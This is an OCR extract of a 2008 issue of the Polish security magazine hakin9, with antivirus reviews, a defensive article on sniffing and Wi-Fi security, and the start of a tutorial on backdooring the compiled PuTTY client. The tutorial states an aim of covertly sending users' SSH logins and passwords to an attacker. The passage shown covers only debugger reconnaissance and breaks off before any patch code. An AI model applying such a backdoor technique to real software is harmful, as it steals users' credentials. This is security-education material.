gracją  z  Twoim  systemem  operacyjnym.  Poza  tym  nie-
wątpliwymi zaletami produktu są łatwość w instalacji i za-
rządzaniu, skanowanie na żądanie, kreator ustawień dla 
zdefiniowania pewnych wykluczeń od blokady oraz auto-
matyczny update poprzez sieć Internet. l

hakin9.live

hakin9 Nr 2/2008

www.hakin9.org

11

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest 

ona uszkodzona mechanicznie, sprawdź ją na co najmniej 

dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: 

cd@software.com.pl

12

Narzędzia

hakin9 Nr 2/2008

www.hakin9.org

13

hakin9 Nr 2/2008

www.hakin9.org

Narzędzia

W dzisiejszych czasach, kiedy powstało tak wiele złośli-
wego oprogramowania, ochrona przed nim jest koniecz-
na. Chciałbym opisać służące do tego celu oprogramo-
wanie  Kaspersky  Internet  Security  7.0.  Jest  to  pełen 
pakiet ochronny komputera.

Postanowiłem  najpierw  przeczytać,  co  napisał 

o  swojej  aplikacji  producent.  Na  opakowaniu  i  w  jego 
wnętrzu widzimy wiele przeróżnych certyfikatów świad-
czących o wysokiej skuteczności zapewnianej ochrony. 
Jednak już chwilę potem – podczas instalacji sterowni-
ków – napotkałem na pierwsze problemy. Często trzeba 
wstrzymywać  ochronę  lub  omijać  te  pliki.  Największe 
kłopoty wystąpiły podczas instalacji modemu.

Kolejną czynnością było sprawdzenie działania sys-

temu  antywirusowego.  Pobrałem  kilka  wirusów  i  troja-
nów.  Podczas  tej  czynności  aplikacja  zaraportowała, 
że  wykryła  złośliwe  oprogramowanie.  Postanowiłem 
zatem  włączyć  Delphi  7  i  napisać  własnego  trojana. 
Po  jego  uruchomieniu  Kaspersky  natychmiast  poinfor-
mował,  że  trojan  dokonuje  zmian  w  rejestrze  –  zatem 
choćby  minimalnie  rozgarnięty  użytkownik  powinien 
uniknąć zainfekowania. Mimo wszystko, w razie jego nie-
wiedzy lub nieuwagi, firewall powinien zablokować troja-
na. Tu również Kaspersky spisał się bardzo dobrze. Fire-
wall działa bez zarzutu, ukrywa nazwę systemu i otwarte 
porty. Niestety, kiedy chcemy uruchomić serwer, firewall 
trzeba już samemu przekonfigurować.

Następnie  pod  lupę  wziąłem  filtr  anty-spamowy, 

który  wykazał  się  80%-ową  skutecznością  w  bloko-
waniu  niechcianych  przesyłek.  Kolejnym  przydatnym 
narzędziem jest ochrona WWW, zwłaszcza, gdy używa-
my Internet Explorera. Sprawdziłem exploity na IE6 i na 
Firefoksa 1.5. Kaspersky zablokował je i dodał do logów 
odpowiednie wpisy. 

Phishing,  zjawisko  coraz  częściej  występujące 

i  oparte  na  niewiedzy  lub  braku  rozwagi  użytkownika, 
pozwala na przejęcie każdej informacji, jaką ten wpro-
wadzi do sfałszowanego systemu. W celu sprawdzenia, 
jak radzi sobie z nim Kaspersky, utworzyłem bliźniaczą 
stronę Gmaila. Otworzyłem ją, używając Firefoksa – ku 
mojemu zdziwieniu program nic nie wykrył. Zatem w tym 
przypadku trzeba liczyć na siebie samego.
Ochrona rodzicielska to jeszcze jedno narzędzie, przy-
datne do kontrolowania zawartości, do której ma mieć 

dostęp  określony  użytkownik.  Jest  to  przydatny  kom-
ponent  dla  użytkowników  systemu  Microsoft  Win-
dows  XP  (lub  starszego).  Działa  bez  zarzutów:  blo-
kuje strony WWW z czarnej listy i dopuszcza z białej. 
W  moim  przypadku  wystarczyło  jednak  użycie  Web 
proxy,  by  czarna  lista  przestała  stanowić  jakąkolwiek 
przeszkodę.

Rootkity  to  coraz  częściej  spotykane  programy, 

które podszywają się pod biblioteki systemowe i dzięki 
temu  mogą  pozostać  niezauważone  w  trakcie  działa-
nia  systemu  operacyjnego.  Kaspersky  ma  wbudowa-
ny wykrywacz rootkitów. Radzi on sobie z popularnymi 
zagrożeniami, jednak w starciu z płatnymi, wyspecjali-
zowanymi rootkitami nie ma szans.

Bardzo  przydatną  funkcją  jest  zapisywanie  prób 

ataków.  Kiedy  symulowałem  atak  z  drugiego  kompu-
tera,  Kaspersky  zapisał  adres  IP  napastnika.  Nieste-
ty,  jeśli  atakujący  korzysta  z  zagranicznego  proxy, 
wtedy  nie  znajdziemy  go  własnymi  siłami  (no,  chyba, 
że mamy kolegę – administratora tego serwera). Jeżeli 
jednak ktoś przeprowadzi atak, możemy przejrzeć logi 
systemowe lub firewalla.
Moja ocena programu to 4+, pakiet całkowicie na nią 
zasługuje.

Michał Koźmiński

Producent: Kaspersky

System: Windows 2000, Windows XP, Windows Vista

Typ: Internet Security

Strona producenta: http://www.kaspersky.pl/

Ocena: 4,5

Kaspersky Internet 

Security 7

Rysunek 1. 

Kaspersky Internet Security 7

12

Narzędzia

hakin9 Nr 2/2008

www.hakin9.org

13

hakin9 Nr 2/2008

www.hakin9.org

Narzędzia

Program  jest  dostępny  na  kilka  sposobów:  mamy 

wersję  z  CD  oraz  elektroniczną.  Tę  drugą  ściągamy 
ze  strony  producenta  (http://www.avgpolska.pl,  dział 
Pobierz).  Aby  uzyskać  klucz  licencyjny,  rejestrujemy 
się na stronie WWW, wypełniając odpowiedni formu-
larz (pola wymagane oznaczone są gwiazdką). Już po 
chwili  w  naszej  skrzynce  e-mail  znajdzie  się  wiado-
mość związana z procesem rejestracji, włącznie z klu-
czem pozwalającym zainstalować program AVG.

Kolejne  etapy  instalacji  przebiegają  szybko, 

na  początku  wybieramy  język  instalacji  (w  najnowszej 
wersji  jest  już  język  polski).  Przechodzimy  do  wyboru 
trybu  instalacji.  Ja  wybrałem  wersję  zaawansowaną, 
więc w dalszych krokach zostałem zapytany o położe-
nie instalowanego programu czy zestaw modułów, które 
chcę zainstalować. Aby przetestować pełną funkcjonal-
ność,wybrałem  instalację  zalecaną  przez  producenta 
–  ze  wszystkimi  składnikami,  w  sugerowanych  katalo-
gach.  Jeszcze  przed  zakończeniem  instalacji  program 
zapytał,  czy  ma  pobrać  aktualizacje  i  wykonać  pełne 
skanowanie systemu.

Zainstalowane  moduły:  Firewall,  Anti-Spyware 

i Anti-Spam pozwalają na kompleksową ochronę kom-
putera. Pracę z programem możemy prowadzić poprzez 
dwa interfejsy, podstawowy i zaawansowany. Interfejs 
prosty  pozwala  jedynie  na  wykonanie  skanowania, 
zdefiniowanie  reguł  skanowania,  sprawdzenie  pozio-
mu  działania  modułów,  sprawdzenie  raportu  ostatnie-
go  skanowania  oraz  wykonanie  aktualizacji.  Z  pod-
stawowego interfejsu możemy w każdej chwili przejść 
do  Centrum  Kontroli  i  Zaawansowanych  ustawień.  W 
ustawieniach  zaawansowanych  pojawia  się  dodatko-
wa możliwość – ustawienia systemu. W aplikacji AVG 
postawiono  na  kreatory  zadań.  Skanowanie  systemu 
wykonujemy  poprzez  taki  właśnie  kreator.  Obok  zde-
finiowania reguł skanowania, ustawiamy także harmo-
nogram  skanowania  komputera,  decydując  o  odstę-
pach  pomiędzy  poszczególnymi  badaniami,  plikach, 
lokalizacjach. Oprócz wywołania ręcznego skanowania 
systemu,  możemy  również  ustalić  dokładny  harmono-
gram pracy skanera. Sama praca programu oparta jest 
na  modułach,  o  prawidłowości  ich  działania  (bądź 
ewentualnych  błędach)  informują  nas  kolorowe  ikony: 
zielone  (moduły  pracują  bez  błędów),  żółte  (zignoro-

wano błędy jednego ze składników) albo czerwone (źle 
skonfigurowany jeden ze składników). Ogólna konfigu-
racja programu ogranicza się do ustawień związanych 
z występowaniem danych opcji w menu. Minusem jest 
brak  możliwości  włączania  i  wyłączania  poszczegól-
nych modułów – można dezaktywować jedynie firewal-
le, ustawiając regułę przepuszczaj cały ruch sieciowy.

W podobny sposób, jak dla interfejsu prostego, tworzymy 

zadania do skanowania i reguły. Ciekawym rozwiązaniem 
jest grupa opcji dotycząca firewalli i polityk bezpieczeństwa. 
Pierwsze, na co zwróciłem uwagę, to schemat zabezpieczeń 
– dostępne są następujące możliwości: laptop, komputer pra-
cujący w domenie, komputer w sieci lokalnej. W zależności 
od wybranego profilu system sam zmienia zasady bezpie-
czeństwa. Brakuje jednak opcji tworzenia własnego profilu. 
W ustawieniach firewalla przechodzimy do zakładki Appli-
cations,  gdzie  definiujemy  reguły  dla  programów  zainsta-
lowanych  w  komputerze.  Oprócz  standardowych  aplikacji 
możemy dodać własne, decydujemy także, które porty są 
przydzielane do danej aplikacji. Moim zdaniem jest to roz-
wiązanie przemyślane, przejrzyste i nawet średnio zaawan-
sowanemu użytkownikowi nie powinno sprawić problemów 
(naturalnie, przydaje się znajomość sieci TCP/IP i portów). 
W zakładce System decydujemy o ustawieniach usług sys-
temowych.  Ta  grupa  opcji  zalecana  jest  użytkownikom 
zaawansowanym,  gdyż  nieodpowiednie  skonfigurowanie 
usług systemowych może zablokować dostęp do Internetu 
czy drukarki sieciowej. Także zakładka Networks ma istotne 
znaczenie – definiujemy tam dostępność interfejsów, które 
będą przez nas nadzorowane. Decydujemy, czy dany inter-
fejs będzie pracował jednocześnie z innym, czy podłączenie 
przez jeden będzie automatycznie blokować drugi. Możemy 
także  przypisać  profile  ustawień  firewalla  do  konkretnego 
interfejsu.

W mojej ocenie program AVG stanowi bardzo dobre 

centrum  ochrony  komputera.  Zajmuje  mało  pamięci 
operacyjnej,  jest  szybki.  Brakuje  mi  w  nim  kilku  usta-
wień. Ale mimo wszystko praca z takimi rozwiązania-
mi i interfejsem jest przyjemna oraz intuicyjna. Gorąco 
zachęcam do wypróbowania wersji demo.

Rafał Podsiadły

AVG Internet Security 7.5

Producent: AVG Grisoft

System: Windows 2000, Windows XP, Windows Vista

Typ: Internet Security

Strona producenta: http://www.avg.pl/

Strona dystrybutora: www.quantus.pl

Ocena: 5

www.hakin9.org

hakin9 Nr 2/2008

14

Początki

O

statnio, w związku z szerzącą się modą 
na hotspoty, popularny stał się również 
wardriving.  Jest  to  nic  innego,  jak  wy-

szukiwanie sieci bezprzewodowych. Należy pa-
miętać,  że  nie  zawsze  oznacza  to  włamywanie 
się do nich. Niektórzy jednak nie poprzestają na 
wyszukaniu sieci i kradną dane. Dalsza część ar-
tykułu naprowadzi Cię na sposób, w jaki powinni-
śmy się zabezpieczyć przed takimi atakami.

Jeśli chcemy się uchronić przed jakimś za-

grożeniem, to musimy je najpierw poznać. Snif-
fing odbywa się poprzez przechwytywanie pa-
kietów  sieci  lokalnej  (Rysunek  1).  Większość 
osób może odbierać jedynie własne pakiety, po-
nieważ współcześnie sieci są oparte o switche 
lub routery pozwalające na przesyłanie danych 
tylko do komputera, do którego zostały przeka-
zane informacje. Jedynie huby wysyłają pakie-
ty  do  wszystkich  użytkowników,  lecz  aktualnie 
rzadko wykorzystuje się urządzenia tego typu.

Zabezpieczenia routera da się ominąć po-

przez przepełnienie tablicy ARP lub ARP Po-
isoning.  Nie  będę  tutaj  opisywać  tych  metod, 
ponieważ mamy inny cel – a osoby bardziej za-
interesowane  tym  tematem  znajdą  pożądane 
informacje w Internecie (ramka W Sieci). Snif-
fing często wiąże się z wardrivingiem. Napast-

nik  najpierw  wyszukuje  sieć  bezprzewodową, 
a następnie łączy się z nią. Jeśli sieć jest ogól-
nodostępna, to nie ma żadnego problemu, po-
nieważ  potrzebne  dane  zostaną  pozyskane 
dzięki DHCP. Często jednak zdarza się, że sieć 
jest  chroniona  kluczem,  ponieważ  za  dostęp 
trzeba  zapłacić  lub  po  prostu  ktoś  nie  chciał 
przyjmować niepowołanych gości.

Szyfrowanie połączenia

Pierwszym  krokiem,  jaki  powinniśmy  zrobić 
w  kierunku  zabezpieczenia  swojego  kompute-
ra, jest szyfrowanie czegokolwiek, co wysyłamy 
do sieci. Możemy w tym celu zastosować często 
używany standard SSL (Secure Socket Layer). 

Sniffing i wardriving 

– zabezpiecz się!

Konrad Witaszczyk

stopień trudności

Wiele osób korzystających z Internetu nie zdaje sobie sprawy, 

że oprócz takich zagrożeń, jak robaki i wirusy istnieje również 

sniffing (ang. sniff – węszyć). Wykorzystując tę technikę można 

dowiedzieć się między innymi, jakie ktoś ma hasła. 

Z artykułu dowiesz się

•   jak bezpiecznie korzystać z Sieci,
•   jak zabezpieczyć własną sieć bezprzewodową.

Co powinieneś wiedzieć

•   w jaki sposób wysyłane są dane do serwerów,
•   powinieneś znać podstawowe pojęcia dotyczą-

ce sieci bezprzewodowych.

Sniffing i wardriving – zabezpiecz się!

hakin9 Nr 2/2008

www.hakin9.org

15

Jednak nie jest on już dłużej rozwija-
ny,  a  jego  miejsce  zajął  TLS  (Trans-
port  Layer  Security).  Doskonale  na-
daje się on do szyfrowania takich pro-
tokołów, jak HTTP, SMTP czy POP3. 
Największą  różnicą  między  SSL 
a TLS jest to, iż nowsza wersja używa 
algorytmu  HMAC,  który  trudniej  zła-
mać w przeciwieństwie do wcześniej 
stosowanego algorytmu MAC. Różni 
je to, że pierwszy z nich wykorzystu-
je hashe (MD5 lub SHA1), do których 
są dołączane klucze oraz nie posiada 
ograniczeń długości tekstu.

Coraz  więcej  banków,  firm  ho-

stingowych  czy  nawet  zwyczajnych 
serwisów używa SSL bądź TLS, co 
daje  klientowi  satysfakcję  z  ochro-
ny  danych.  W  celu  wykorzystania 
tej  technologii  musimy  dysponować 
przeglądarką internetową, która po-
siada pełną obsługę SSL 128-bit:

•   Opera  –  SSL  2,  SSL  3,  TLS  1, 

TLS 1.1,

•   Firefox – SSL 3, TLS 1,
•   Internet  Explorer  –  SSL  2,  SSL 

3, TLS 1.

Aktywowanie  tej  funkcji  jest  proste. 
Najpierw należy w ustawieniach prze-

glądarki  włączyć  szyfrowanie  połą-
czeń, a następnie przy otwieraniu stro-
ny zaakceptować certyfikat.

Komunikatory

Częstym  przypadkiem  ataku  typu 
sniffing  jest  podsłuchiwanie  rozmów. 
Niestety  większość  polskich  użyt-
kowników  korzysta  z  komunikatora 
Gadu-Gadu,  którego  twórcy  dopiero 
niedawno rozpoczęli testy wersji pro-
gramu  z  szyfrowanym  połączeniem. 
Jednak  w  tej  sytuacji  możemy  wy-
brać  inne  rozwiązanie,  a  konkretnie 

–  Jabbera  (patrz  Terminologia).  Za-
letami  tego  protokołu  komunikacji  są 
przede  wszystkim  bezpieczeństwo 
i wielofunkcyjność. Gdy zdecydujemy 
się  na  to  rozwiązanie,  możemy  szy-
frować  połączenie,  jeśli  nam  na  to 
pozwoli  serwer,  a  dodatkowo  istnieje 
możliwość wykorzystywania PGP lub 
GPG (patrz Terminologia) w celu szy-
frowania transmisji. Wybranie tej opcji 
nie wiąże się z rezygnacją z używania 
takich protokołów, jak Gadu-Gadu czy 
Tlen, ponieważ Jabber zawiera obsłu-
gę  tzw.  transportów,  czyli  przekaza-
nia użytkownikowi kontroli nad API da-
nej sieci. Dodatkowym atutem Jabbe-
ra jest otwartość jego kodu (ang. open 
source).  Dzięki  temu  powstało  wiele 
ciekawych  komunikatorów,  które  cie-
szą się znaczną popularnością.

GNU Privacy Guard

Jak wcześniej wspomniałem, GPG jest 
idealnym rozwiązaniem dla osób, które 
chcą mieć pewność, że nikt ich nie pod-
słuchuje. W tej części artykułu wygene-
rujemy swoją pierwszą parę kluczy.

Program  ten  jest  wieloplatformo-

wy,  więc  zarówno  użytkownicy  *nix, 
jak  i  Windows  nie  będą  mieć  kłopotu 
z dostępem do niego. Obsługa aplika-
cji  wygląda  tak  samo  w  każdym  sys-
temie.  Gdy  mamy  zainstalowane  od-
powiednie  oprogramowanie,  wpisuje-
my w konsoli:

gpg – gen-key

Pojawia się numer wersji programu, tro-
chę informacji na temat licencji i głów-

GPG - komendy

•  

gpg – list-keys

 – lista wygenerowanych kluczy,

•  

gpg – export adres@adres.com –armour –output plik _ klucza

 – eksport klu-

cza publicznego do pliku,

•  

gpg – import plik _ klucza

 – import klucza z pliku,

•  

gpg – edit-key adres@adres.com

 – weryfikacja klucza,

•  

gpg – delete-keys nazwa

 – usuwanie klucza,

•  

gpg – output wiadomość _ zaszyfrowana –encrypt wiadomość

 – szyfrowanie 

wiadomości,

•  

gpg – decrypt wiadomość _ zaszyfrowana

 – odszyfrowanie wiadomości,

•  

gpg – output wiadomość _ podpisana –clearsign wiadomość

 – podpisywanie 

wiadomości,

•  

gpg – verify wiadomość _ podpisana

 – weryfikacja podpisanej wiadomości.

Rysunek 1. 

Przechwycony pakiet z odpowiedzią serwera HTTP po 

otworzeniu obrazka GIF

Literatura

•   802.11 Security – Bruce Potter, Bob Fleck; 01/2004,
•   Hack Proofing Your Network – 10/2002,
•   TCP/IP Unleashed – Karanjit S. Siyan, Tim Parker; 12/2002,
•   Upgrading and Repairing Networks: Field Guide – Scott Mueller, Terry W. Ogle-

tree; 04/2004,

•   Wireless Hacks – Lee Barken; 11/2006.

hakin9 Nr 2/2008

www.hakin9.org

Początki

16

ne  menu.  Musimy  w  nim  wybrać,  ja-
ki  algorytm  wykorzystamy.  Wybierze-
my  pierwszą  opcję  (DSA  i  Elgamal), 
ponieważ  dzięki  niej  będziemy  mieć 
możliwość  szyfrowania  i  podpisywa-
nia wiadomości. Następny krok to wy-
bór długości klucza, a potem jego ter-
minu ważności. Po tych czynnościach 
musimy  wpisać  swoje  imię,  nazwisko 
oraz e-mail. Dane nie muszą być praw-
dziwe,  ważne,  żeby  osoby  korzysta-
jące  z  klucza  publicznego  wiedziały, 
do kogo on należy. Jeśli wszystko się 
zgadza,  akceptujemy  wpisane  dane 
oraz  podajemy  hasło  dostępu,  które 

powinno  być  odpowiednio  skompliko-
wane, aby nikt poza nami go nie znał 
i  nie  mógł  odgadnąć.  Jeśli  wszystko 
poszło dobrze, powinniśmy ujrzeć ko-
munikat zwracający fingerprint. Posia-
danie  tego  ciągu  jest  wymagane,  by 
uchronić się przed atakiem Man in the 
middle. Eksport klucza do pliku wyko-
nujemy za pomocą komendy:

gpg –export adres@adres.com –armour–  

output plik

Teraz  możemy  udostępnić  klucz  pu-
bliczny  znajomym  i  szyfrować  swoje 

wiadomości.  Pozostałe  komendy  po-
trzebne  do  korzystania  z  programu 
zostały przedstawione w ramce GPG 
– komendy.

IDS

System wykrywania włamań (ang. In-
trusion Detection System) to pożytecz-
ny mechanizm, który pomaga nam po-
przez dostarczanie raportów o ewentu-
alnych atakach na nasz komputer, wy-
krytych dzięki analizie ruchu sieciowe-
go.  Jedną  ze  słynniejszych  aplikacji 
wykorzystujących  tego  typu  mecha-
nizm jest Snort, który pokazuje komu-
nikaty w czasie rzeczywistym. Informu-
ją one nas m. in. o wysyłanych oraz od-
bieranych  pakietach,  próbach  ataków 
typu buffer overflow (przepełnienie bu-
fora),  skanowaniu  portów  przez  intru-
za  czy  próbie  wykrycia  wersji  nasze-
go systemu operacyjnego. Przykłado-
wy wynik działania tego programu zo-
stał przedstawiony na Rysunku 2. Dla 
osób,  które  są  przyzwyczajone  do 
okienek, został stworzony front-end te-
go programu o nazwie IDScenter (http:
//www.engagesecurity.com/products/
idscenter).  Istnieje  jeszcze  kilka  apli-
kacji tego typu dla użytkowników sys-
temu  Windows,  np.  KFSensor  (http:
//www.keyfocus.net/kfsensor), 

lecz 

jest on mniej popularny niż poprzednio 
wspomniany konkurent. Innym wartym 
uwagi  programem  tego  typu  jest  Ki-
smet  (http://www.kismetwireless.net). 
Oprócz tego, iż posiada on mechanizm 
IDS, może wyszukiwać sieci bezprze-
wodowe, a także sniffować.

Bezpieczne WiFi

Przy  budowie  sieci  bezprzewodowej 
musimy  rozważyć  wszelkie  możliwo-
ści dostania się do niej przez niepowo-
łane osoby. Wielu administratorów po-
pełnia błąd, tworząc sieci bezprzewo-
dowe bez szyfrowania. Inni natomiast 

Rysunek 2. 

Wynik działania programu Snort

W Sieci

•   http://www.gnupg.org – GnuPG,
•   http://www.openssl.org
•   http://tools.ietf.org/html/rfc4346 

– TLS 1.1, RFC 4346,

•   http://tools.ietf.org/html/rfc1122 

– warstwy komunikacji, RFC 1122.

Sniffing i wardriving – zabezpiecz się!

hakin9 Nr 2/2008

www.hakin9.org

17

stosują jedynie DHCP, które polega na 
pozyskaniu adresu sieciowego IP po-
przez odczytanie MAC, czyli unikato-
wego  numeru  interfejsu.  W  tym  wy-
padku  osoba  atakująca  może  zasto-
sować  MAC  Spoofing,  czyli  ustawia-
nie  identyfikatora  MAC  innej  osoby 
i podszywanie się pod nią. Jeśli sieć 
używa  klucza  WEP,  to  –  przy  odpo-
wiedniej ilości przechwyconych pakie-
tów – można go często odszyfrować 
w  przeciągu  minuty.  Do  tego  służy 
program Aircrack–ng – wyszukiwarka 
sieci, sniffer i łamacz WEP oraz WPA-
PSK  (prostsza  wersja  WPA).  Najlep-
szym sposobem przeciwdziałania jest 
zaszyfrowanie sieci standardem WPA 
(wersja Enterprise), który zaleca Wi-Fi 
Alliance. Został on stworzony jako na-

stępca WEP, który stał się mało bez-
pieczny.  Każda  osoba  powinna  mieć 
swój  oddzielny  klucz.  Można  go  wy-
generować  za  pośrednictwem  strony 
speedguide.net,  która  zawiera  gene-
rator z możliwością wyboru różnej dłu-
gości klucza. Warto taką czynność po-
wtarzać co jakiś czas, np. raz w mie-
siącu. Hasło powinno zawierać znaki 
specjalne i być długie, trudne do zła-
mania.  Dzięki  temu  istnieje  mniejsza 
szansa  na  złamanie  hasła  metodą 
brute–force,  czyli  poprzez  sprawdze-
nie wszystkich kombinacji, np:

aa; ab; ac (...) ba; bb; bc (...)

Niestety, nie we wszystkich urządze-
niach jest dostępna obsługa WPA, je-

żeli się jednak pojawiła, to bez zasta-
nowienia należy ją włączyć.

Dodatkowym 

zabezpieczeniem 

może  być  ukrycie  SSID,  czyli  identy-
fikatora  sieci.  Wydaje  się  to  być  do-
brym  wyjściem,  choć  nie  do  końca. 
Osoba atakująca ma możliwość stwo-
rzenia sieci z widocznym SSID o takiej 
samej  nazwie,  która  będzie  na  tym 
samym kanale, co prawdziwa. Dzięki 
temu może przechwycić pakiety i od-
czytać poufne informacje.

Można  również  włączyć  serwer 

DHCP  z  listą  dostępową  zawiera-
jącą  dopuszczalne  wartości  MAC, 
która ułatwi proces uwierzytelnienia 
użytkowników. Jednak nie jest on po-
trzebny przy małej ilości osób korzy-
stających  z  sieci.  Każdy  może  sam 
wpisać potrzebne dane w konfigura-
cji karty sieciowej.

Podsumowanie

Przy  korzystaniu  z  Internetu  musi-
my być gotowi na wszelkiego rodzaju 
niebezpieczeństwa. Najlepszą obro-
ną przed nimi jest logiczne myślenie 
i  ostrożność  w  działaniu.  Zabezpie-
czenie  się  przed  zagrożeniami  mo-
że  wydawać  się  czasochłonne,  ale 
podjęty  trud  zapewni  nam  spokój 
i  ochroni  naszą  prywatność.  Admi-
nistratorzy muszą pamiętać, że brak 
dostatecznych  zabezpieczeń  stano-
wi  pośrednio  przyzwolenie  na  wła-
manie się do sieci. Poprawiając bez-
pieczeństwo zwiększają zaufanie do 
swoich usług. l

O autorze

Autor  jest  programistą  PHP  w  firmie  zajmującej  się  projektowaniem  stron  interne-
towych. Dodatkowo prowadzi kilka projektów, w tym  Ruby Movie Get (http://movie-
get.org) oraz wyklady.net. Kontakt z autorem: defc0n@defc0n.or

Terminologia

•   Adres IP – unikatowy numer komputera w danej sieci,
•   DHCP – technologia pozyskiwania od serwera takich danych, jak IP, DNS czy ad-

res domyślnej bramy po rozpoznaniu MAC,

•   Fingerprint – suma kontrolna klucza PGP/GPG, dzięki niej możemy go zweryfikować,
•   HotSpot – punkt dostępowy bezprzewodowej sieci, przykładowo prawie w każdym 

McDonaldzie można zaobserwować płatny hotspot sieci Era,

•   MAC – unikatowy adres karty sieciowej,
•   PGP/GPG – program do szyfrowania wiadomości wykorzystujący algorytm DSA 

lub RSA.

R

E

K

L

A

M

A

www.hakin9.org

hakin9 Nr 2/2008

18

Atak

O

gólnie rzecz biorąc, zmodyfikowanie 
aplikacji nie stanowi większego pro-
blemu, gdy posiadamy dostęp do jej 

kodu  źródłowego.  Szczególnie,  jeśli  zosta-
ła  napisana  w  języku  wysokiego  poziomu 
– jak C czy C++. Możemy z łatwością zmie-
nić jej zachowanie czy też dodać do niej no-
we opcje poprzez dodanie kilku instrukcji lub 
funkcji. Wystarczy, że otworzymy kod źródło-
wy, dodamy kilka linijek i ponownie skompilu-
jemy aplikację. To wszystko, co jest potrzeb-
ne  do  zmiany  aplikacji  o  dostępnym  kodzie 
źródłowym.

O  wiele  trudniej  jest  zmienić  aplikację, 

gdy  wszystko  co  posiadamy,  to  kilka  wcze-
śniej  skompilowanych  plików  binarnych  nie-
wiadomego  przeznaczenia.  Praca  z  plikami 
binarnymi  wiąże  się  z  niskopoziomową  ana-
lizą  kodu  maszynowego  za  pomocą  różnego 
rodzaju narzędzi przeznaczonych do tego ce-
lu – jak hexedytory czy disasemblery, wyma-
ga również znajomości asemblera oraz syste-
mu operacyjnego, dla którego została napisa-
na aplikacja. 

W tym artykule czytelnik zostanie przepro-

wadzony  krok  po  kroku  poprzez  proces  mo-
dyfikacji dobrze znanego klienta SSH – PuT-

TY,  wykorzystując  tylko  jego  skompilowaną 
wersję. Wszystko, co  będziemy potrzebowa-
li, to plik wykonywalny putty.exe w wersji 0.60 
(z uwagi na podane w dalszej części artykułu 
adresy przesunięć, które mogą się różnić w in-
nych wersjach, czytelnik powinien pobrać do-
kładnie  taką  samą  wersję  PuTTY).  Naszym 
celem  będzie  dodanie  do  programu  PuTTY 
dodatkowej  procedury,  która  sprawi,  że  lo-
giny  i  hasła  wprowadzone  przez  użytkowni-

Hakowanie PuTTY

Dawid Gołuński

stopień trudności

Chyba każdy z nas słyszał o tylnych furtkach w programach 

open-source. Czasami słyszy się o pakietach systemu Linux 

lub nawet dystrybucjach, które zostały zmodyfikowane. Jednak 

nie każdy wie, że także już skompilowane oprogramowanie jest 

podatne na modyfikacje. Artykuł pokazuje, jak zmodyfikować 

skompilowaną aplikację na przykładzie klienta SSH – PuTTY. 

Z artykułu dowiesz się

•  jak zmodyfikować aplikację bez dostępu do ko-

du źródłowego.

Co powinieneś wiedzieć

•  znać podstawy asemblera i niskopoziomowego 

programowania,

•  posiadać podstawową wiedzę na temat forma-

tu plików wykonywalnych PE,

•  znać narzędzia służące do binarnej analizy, ta-

kie jak OllyDbg, IDA czy Hiew,

•  znać  podstawy  programowania  w  środowisku 

Windows oraz znać Windows API.

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

19

ka  w  procesie  logowania  do  zdal-
nego  systemu  (po  nawiązaniu  se-
sji  SSH)  zostaną  w  sposób  niewi-
doczny  przesłane  poprzez  Internet 
do wybranego przez nas miejsca. 

Research – zbieranie 

informacji

Na  początku  musimy  ustalić,  czy 
program  nie  został  skompresowa-
ny  za  pomocą  pakerów  plików  wy-
konywalnych, jak UPX czy Aspack. 
Modyfikowanie 

skompresowanej 

aplikacji  nie  miałoby  bowiem  sen-
su. Aby dowiedzieć się, czy aplika-
cja została skompresowana, może-
my posłużyć się jednym z narzędzi 
służących do analizy plików PE, jak 
np. popularny PEiD. 

Po wczytaniu pliku putty.exe do 

PEiD  uzyskamy  informacje  na  te-
mat języka, w którym został napisa-
ny PuTTY. PEiD nie wspomina nato-
miast o żadnym kompresorze, więc 
możemy  uznać,  że  plik  nie  został 
skompresowany  i  jego  rozpakowa-
nie nie będzie konieczne. 

Badamy proces logowania

Aby  dowiedzieć  się,  jaki  lo-
gin  oraz  hasło  wprowadził  użyt-
kownik  podczas  logowania  się 
do  zdalnego  systemu,  będzie-
my  musieli  znaleźć  sposób  na 
przechwycenie  klawiszy  wciska-
nych  w  oknie  programu  PuTTY. 
W  tym  celu  musimy  dokładnie 
przyjrzeć  się  procesowi  logowa-
nia,  tak  aby  ustalić,  w  jaki  sposób 
PuTTY obsługuje klawiaturę tuż po 
nawiązaniu sesji SSH z serwerem.

Posłużymy  się  tu  popularnym 

debuggerem  –  OllyDbg.  Posiada 
on  bardzo  użyteczną  funkcje  lo-
gowania  breakpointów  (pułapek). 
Dzięki niej jesteśmy w stanie usta-
wić logowanie wszystkich wywołań 
API  (Application  Programming  In-
terface) i w ten sposób dowiedzieć 
się,  jakie  funkcje  są  wykorzysty-
wane  oraz  gdzie  trafiają  naciśnię-
te klawisze.

Po  wczytaniu  pliku  putty.exe 

do debuggera klikamy prawym przy-
ciskiem  myszy  w  dowolne  miejsce 
w  oknie  kodu  i  z  menu  konteksto-
wego  wybieramy  Search  for  –>  All 
intermodular  calls.  W  oddzielnym 
oknie  (okno  referencji)  otrzyma-
my  pełną  listę  funkcji  wykorzysty-
wanych przez program PuTTY. Na-
stępnie  klikamy  prawym  przyci-

skiem  myszy  na  okno  referencji 
i z menu kontekstowego wybieramy 
Set  log  breakpoint  on  every  com-
mand.  Po  ukazaniu  się  okna  dialo-
gowego, w którym możemy ustawić 
właściwości  naszej  pułapki,  zazna-
czamy opcję Always przy Log func-
tion  arguments,  co  spowoduje,  że 
oprócz  samych  nazw  funkcji,  logo-
wane będą również przekazane do 
nich parametry. Następnie przecho-
dzimy do okna, w którym logowane 
są zdarzenia (Log window). 

Po uruchomieniu programu (po-

przez  F9)  w  oknie  zaczną  poja-
wiać się nazwy kolejno wywoływa-
nych  funkcji  wraz  z  parametrami. 
Po  chwili  ujrzymy  okno  dialogowe 
programu  PuTTY,  w  którym  wpisu-
jemy  parametry  połączenia  (adres 
serwera,  port).  Zanim  jednak  wci-
śniemy  przycisk  Open  w  celu  na-
wiązania  połączenia  SSH,  musi-
my  tak  skonfigurować  nasz  debug-
ger,  aby  wszystko,  co  pojawia  się 
w oknie Log window, logował do pli-
ku  tekstowego  –  tak,  żebyśmy  ni-
czego nie przeoczyli. 

Po  wciśnięciu  przycisku  Open 

nawiązana  zostanie  sesja  SSH 
z  podanym  serwerem.  Zostanie-
my  poproszeni  o  wpisanie  nazwy 
użytkownika.  Wpisujemy  tu  jakieś 
unikalne  słowo  jak  np.  FOOBAR, 
co ułatwi jego późniejsze odszuka-
nie w pliku dziennika. Następnie za-
